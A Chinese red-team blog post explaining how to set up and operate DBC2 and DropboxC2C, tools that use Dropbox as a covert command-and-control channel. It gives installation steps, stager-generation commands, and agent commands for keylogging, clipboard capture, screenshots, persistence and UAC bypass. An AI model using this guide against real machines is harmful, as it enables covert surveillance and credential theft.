命令控制之DropBox

admin 2023年4月4日09:59:50评论53 views字数 2324阅读7分44秒阅读模式

DropBox简介

目前,许多公司使用DropBox作为共享工具和托管数据,因此对DropBox服务器的流量被限制或归类为恶意域是不常见的,由此可以通过滥用DropBox的功能并将其用作命令和控制中转工具来使用。

DropBoxC2

关于DropBox利用可以通过DropBoxC2工具来实现,该工具使用DropBox API在控制端和被控制端之间进行通信,因为它完全在内存中运行并且流量被加密,所以相对而言较为隐蔽,工具体现架构如下所示:

命令控制之DropBox

在第一次使用Dropbox之前,我们需要先去官网(http://www.dropboxchina.com )创建一个账号(Al1ex/[email protected]/xxxxxxx): 

命令控制之DropBox

之后通过邮箱进行激活:

命令控制之DropBox

工具安装
git clone https://github.com/Arno0x/DBC2 dbc2cd dbc2pip install -r requirements.txtchmod +x dropboxC2.py

命令控制之DropBox

命令控制之DropBox

工具使用
基本配置

在控制端与被控制端之间的通信需要通过DropBox API来执行,因此我们首先需要创建新的应用程序才能生成API秘钥:

https://www.dropbox.com/developers/apps/create

命令控制之DropBox

命令控制之DropBox

之后生成AccessToken:

命令控制之DropBox

之后我们需要在DropBoxC2项目下的config.py文件(defaultAccessToken参数)中输入API密钥,否则用户需要在每次DBC2启动时都需要插入密钥:

命令控制之DropBox

当DropBoxC2运行时,用户需要设置一个主密码,它将用于加密代理和控制器之间的所有数据

命令控制之DropBox

在使用DropBox之前我们需要设置Modules和Stage:

publishStage dbc2_agent.exe

命令控制之DropBox

之后将在DropBox上生成一个文件,该文件将进行XOR加密:

命令控制之DropBox

生成载荷

Dropbox C2可以生成从简单的.bat文件到可以绕过AppLocker的msbuild和sct的各种stager,以及从rubber ducky到macro的各种stager,从而在红队交战期间提供多个利用场景的能力,我们可以在终端输入"genStager"加空格然后两下tab可列出所有的可使用genStager类型:

命令控制之DropBox

我们可以通过以下命令可轻松生成Stager:

genStager oneliner default

命令控制之DropBox

genStager batch default

命令控制之DropBox

从stager在目标主机上执行的时刻开始,将会生成一个Agent ID值并将其与Beacon相关联:

命令控制之DropBox

命令控制之DropBox

同时将在DropBox上生成两个文件,这两个文件将声明代理的状态以及将传递给目标的命令,这些文件的内容是加密的,以保持通信的机密性

命令控制之DropBox

然后可以使用代理ID以便与目标交互并执行命令

命令控制之DropBox

DropBoxC2还具有传输文件功能,通过交互式shell执行PowerShell命令以及从目标主机获取屏幕截图的功能,它还支持键盘记录功能,可以启动另一个进程,一些命令可以在下面找到:

上载文件
sendFile

命令控制之DropBox

命令控制之DropBox

下载文件
getFile

首先创建一个文件:

命令控制之DropBox

之后下载文件,需要注意的是在Windows系统中路径信息的处理需要使用"\"而非"":

命令控制之DropBox

桌面截屏

screenshot

命令控制之DropBox

键盘记录

keylogger start

命令控制之DropBox

命令控制之DropBox

命令控制之DropBox

粘贴板记录

clipboardLogger start

命令控制之DropBox

命令控制之DropBox

创建计划任务

persist

命令控制之DropBox

命令控制之DropBox

此外,还可以使用各种PowerShell模块来执行其他任务,例如获取反向shell,转储密码哈希或从内存中检索明文密码等:

命令控制之DropBox

DropboxC2C

工具介绍

Dropboxc2c是一个post-exploitation代理,它使用dropbox基础结构进行命令和控制操作。

工具使用
环境搭建

下载工具到本地:

git clone https://github.com/0x09AL/DropboxC2C.git

命令控制之DropBox

安装所需要的依赖项:

命令控制之DropBox

修改main.py和agent.py中的API Key(DropBox中的Access Key):  https://www.dropbox.com/developers/apps/info/uiozsdgxxxxxxxxxxxnfa8

命令控制之DropBox

命令控制之DropBox

之后在目标Windows(需要Python环境)主机上执行以下命令编译一个agent.exe,需要注意的是需要使用Python2,同时要安装requirements.txt文件中的第三方依赖包(如果下次再编译时需要删除dist、build文件夹以及agent.spec文件):

pip install -r requirements.txtpip install dis3pip install pypiwin32  #笔者在window中运行exe文件时报错,读者可以自我根据环境来安装与编译,建议CMD下运行pyinstaller --onefile --uac-admin agent.py
#建议在目标主机上进行编译,因为笔者这边测试时发现在另一台win主机上编译好的在目标主机上无法正常执行,跨平台较差

命令控制之DropBox

命令控制之DropBox

之后在攻击主机上运行main.py文件

python main.py

命令控制之DropBox

上线操作

之后在目标主机上执行agent.exe文件

命令控制之DropBox

之后再攻击主机中可以看到上线:

命令控制之DropBox

使用帮助

help

命令控制之DropBox

交互模式

interact DESKTOP-H24D0M0-79461740925497

命令控制之DropBox

执行命令

命令控制之DropBox

其他操作

从help中我们可以看到还有键盘记录、bypassuac、权限维持等功能,这些不再赘述,在使用中结合场景进行使用即可:

命令控制之DropBox


相关链接

https://github.com/Arno0x/DBC2

https://github.com/0x09AL/DropboxC2C

原文始发于微信公众号(七芒星实验室):命令控制之DropBox

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月4日09:59:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   命令控制之DropBoxhttps://cn-sec.com/archives/1651416.html

发表评论

匿名网友 填写信息